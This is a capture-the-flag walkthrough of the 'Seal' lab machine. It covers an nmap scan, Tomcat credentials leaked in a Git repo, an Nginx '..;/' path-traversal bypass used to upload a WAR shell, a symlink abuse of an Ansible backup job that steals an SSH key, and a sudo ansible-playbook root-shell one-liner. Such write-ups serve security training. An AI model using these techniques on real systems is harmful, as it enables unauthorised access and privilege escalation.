Enumeration

NMAP

# Nmap 7.91 scan initiated Tue Jul 13 19:10:25 2021 as: nmap -sCV -oN nmap 10.10.10.250
Nmap scan report for 10.10.10.250
Host is up (0.033s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)
|   256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)
|_  256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)
443/tcp  open  ssl/http   nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
| Not valid before: 2021-05-05T10:24:03
|_Not valid after:  2022-05-05T10:24:03
| tls-alpn: 
|_  http/1.1
| tls-nextprotoneg: 
|_  http/1.1
8080/tcp open  http-proxy
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 401 Unauthorized
|     Date: Tue, 13 Jul 2021 10:10:33 GMT
|     Set-Cookie: JSESSIONID=node01kj9j5bt5bnd4f9438tdxugqa2.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   GetRequest: 
|     HTTP/1.1 401 Unauthorized
|     Date: Tue, 13 Jul 2021 10:10:32 GMT
|     Set-Cookie: JSESSIONID=node0d2rcc6929omaa8bhp829p47u0.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Tue, 13 Jul 2021 10:10:32 GMT
|     Set-Cookie: JSESSIONID=node0jncw8wbdh5b51xeq03wm285dk1.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Allow: GET,HEAD,POST,OPTIONS
|     Content-Length: 0
|   RPCCheck: 
|     HTTP/1.1 400 Illegal character OTEXT=0x80
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 71
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
|   RTSPRequest: 
|     HTTP/1.1 505 Unknown Version
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 58
|     Connection: close
|     <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
|   Socks4: 
|     HTTP/1.1 400 Illegal character CNTL=0x4
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x4</pre>
|   Socks5: 
|     HTTP/1.1 400 Illegal character CNTL=0x5
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|_    <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x5</pre>
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.91%I=7%D=7/13%Time=60EDC908%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,F3,"HTTP/1\.1\x20401\x20Unauthorized\r\nDate:\x20Tue,\x2013\x2
SF:0Jul\x202021\x2010:10:32\x20GMT\r\nSet-Cookie:\x20JSESSIONID=node0d2rcc
SF:6929omaa8bhp829p47u0\.node0;\x20Path=/;\x20HttpOnly\r\nExpires:\x20Thu,
SF:\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r\nContent-Type:\x20text/html;
SF:charset=utf-8\r\nContent-Length:\x200\r\n\r\n")%r(HTTPOptions,108,"HTTP
SF:/1\.1\x20200\x20OK\r\nDate:\x20Tue,\x2013\x20Jul\x202021\x2010:10:32\x2
SF:0GMT\r\nSet-Cookie:\x20JSESSIONID=node0jncw8wbdh5b51xeq03wm285dk1\.node
SF:0;\x20Path=/;\x20HttpOnly\r\nExpires:\x20Thu,\x2001\x20Jan\x201970\x200
SF:0:00:00\x20GMT\r\nContent-Type:\x20text/html;charset=utf-8\r\nAllow:\x2
SF:0GET,HEAD,POST,OPTIONS\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,
SF:AD,"HTTP/1\.1\x20505\x20Unknown\x20Version\r\nContent-Type:\x20text/htm
SF:l;charset=iso-8859-1\r\nContent-Length:\x2058\r\nConnection:\x20close\r
SF:\n\r\n<h1>Bad\x20Message\x20505</h1><pre>reason:\x20Unknown\x20Version<
SF:/pre>")%r(FourOhFourRequest,F4,"HTTP/1\.1\x20401\x20Unauthorized\r\nDat
SF:e:\x20Tue,\x2013\x20Jul\x202021\x2010:10:33\x20GMT\r\nSet-Cookie:\x20JS
SF:ESSIONID=node01kj9j5bt5bnd4f9438tdxugqa2\.node0;\x20Path=/;\x20HttpOnly
SF:\r\nExpires:\x20Thu,\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r\nContent
SF:-Type:\x20text/html;charset=utf-8\r\nContent-Length:\x200\r\n\r\n")%r(S
SF:ocks5,C3,"HTTP/1\.1\x20400\x20Illegal\x20character\x20CNTL=0x5\r\nConte
SF:nt-Type:\x20text/html;charset=iso-8859-1\r\nContent-Length:\x2069\r\nCo
SF:nnection:\x20close\r\n\r\n<h1>Bad\x20Message\x20400</h1><pre>reason:\x2
SF:0Illegal\x20character\x20CNTL=0x5</pre>")%r(Socks4,C3,"HTTP/1\.1\x20400
SF:\x20Illegal\x20character\x20CNTL=0x4\r\nContent-Type:\x20text/html;char
SF:set=iso-8859-1\r\nContent-Length:\x2069\r\nConnection:\x20close\r\n\r\n
SF:<h1>Bad\x20Message\x20400</h1><pre>reason:\x20Illegal\x20character\x20C
SF:NTL=0x4</pre>")%r(RPCCheck,C7,"HTTP/1\.1\x20400\x20Illegal\x20character
SF:\x20OTEXT=0x80\r\nContent-Type:\x20text/html;charset=iso-8859-1\r\nCont
SF:ent-Length:\x2071\r\nConnection:\x20close\r\n\r\n<h1>Bad\x20Message\x20
SF:400</h1><pre>reason:\x20Illegal\x20character\x20OTEXT=0x80</pre>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jul 13 19:10:43 2021 -- 1 IP address (1 host up) scanned in 18.30 seconds

Port 80 (SealMarket)

Seems to be running Apache Tomcat/9.0.31 in the backend

and nginx as reverse proxy

Port 8080 (GitBucket)

Reported Issue:

-  Tomcat having mutual authentication
-  Possible, but to balance the server load we suggested to have Nginx.

ToDo:

	* Remove mutual authentication for dashboard, setup registration and login features.
	* Deploy updated tomcat configuration.
	* Disable manager and host-manager.

Interesting stuff from Repo

nginx/sites-available/default0

	ssl_certificate /var/www/keys/selfsigned.crt;
		ssl_certificate_key /var/www/keys/selfsigned.key;
		ssl_client_certificate /var/www/keys/selfsigned-ca.crt;
		
		[...]
		
				root /var/www/html;
			ssl_protocols TLSv1.1 TLSv1.2;
			ssl_verify_client optional;
			
			[...]
			
						location /manager/html {
				if ($ssl_client_verify != SUCCESS) {
					return 403;
				}
				proxy_set_header        Host $host;
				proxy_set_header        X-Real-IP $remote_addr;
				proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;
				proxy_set_header        X-Forwarded-Proto $scheme;
				proxy_pass          http://localhost:8000;
				proxy_read_timeout  90;
				proxy_redirect      http://localhost:8000 https://0.0.0.0;
				# First attempt to serve request as file, then
				# as directory, then fall back to displaying a 404.
		#		try_files $uri $uri/ =404;
			}
			[...]
			
			 location /host-manager/html {
		                if ($ssl_client_verify != SUCCESS) {
		                        return 403;
		                }
		                proxy_set_header        Host $host;
		                proxy_set_header        X-Real-IP $remote_addr;
		                proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;
		                proxy_set_header        X-Forwarded-Proto $scheme;
		                proxy_pass          http://localhost:8000;
		                proxy_read_timeout  90;
		                proxy_redirect      http://localhost:8000 https://0.0.0.0;
		                # First attempt to serve request as file, then
		                # as directory, then fall back to displaying a 404.
		#               try_files $uri $uri/ =404;
		        }
		 
		 
			location / {
		                proxy_set_header        Host $host;
		                proxy_set_header        X-Real-IP $remote_addr;
		                proxy_set_header        X-Forwarded-For $proxy_add_x_forwarded_for;
		                proxy_set_header        X-Forwarded-Proto $scheme;
		                proxy_pass          http://localhost:8000;
		                proxy_read_timeout  90;
		                proxy_redirect      http://localhost:8000 https://0.0.0.0;
			}	
			

tomcat/tomcat-users.xml

<user username="tomcat" password="42MrHBf*z8{Z%" roles="manager-gui,admin-gui"/>

tomcat:42MrHBf*z8{Z%

We are able to access /manager/ by inserting ..;/ as nginx will pass ..;/ to tomcat, and tomcat will treat ..;/ as ../. So we can access it by going to http://seal.htb/manager/jmxproxy/..;/html.

When we trying to upload the war shell, we get 403. However, if we intercept the request and change the request to

POST /manager/jmxproxy/..;/html/upload?org.apache.catalina.filters.CSRF_NONCE=54B0817A1705AB2D84FE1AE103D293C5 HTTP/1.1 we get a 200 OK.

And we get a shell as tomcat.

Running pspy we can observe that there is an ansible playbook being run.

If we look at run.yml

- hosts: localhost                                                                             
  tasks:                                                                                                                                                                                      
  - name: Copy Files                                                                           
    synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
  - name: Server Backups                                                                       
    archive:                                                                                                                                                                                  
      path: /opt/backups/files/                                                                
      dest: "/opt/backups/archives/backup-{{ansible_date_time.date}}-{{ansible_date_time.time}}.gz"
  - name: Clean                                                                                
    file:                                                                                      
      state: absent                                                                            
      path: /opt/backups/files/ 

As the user tomcat, we have write access over /var/lib/tomcat9/webapps/. Notice copy_links=yes , which means that it will copy symlinks. So we can create a symlink like ln -s /home/luis/.ssh/ /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads.

Once the backup has run we can download the archive and unzip it to get the ssh key.

We get access as luis with his ssh shell. Looking at his sudo rights

luis@seal:~$ sudo -l
Matching Defaults entries for luis on seal:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User luis may run the following commands on seal:
    (ALL) NOPASSWD: /usr/bin/ansible-playbook 

According to GTFOBins we should be able to get a shell running sudo as:

TF=$(mktemp)
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
sudo ansible-playbook $TF

Resources

A fresh look on reverse proxy related attacks) Tomcat path traversal via reverse proxy mapping GTFOBins Ansible-Playbook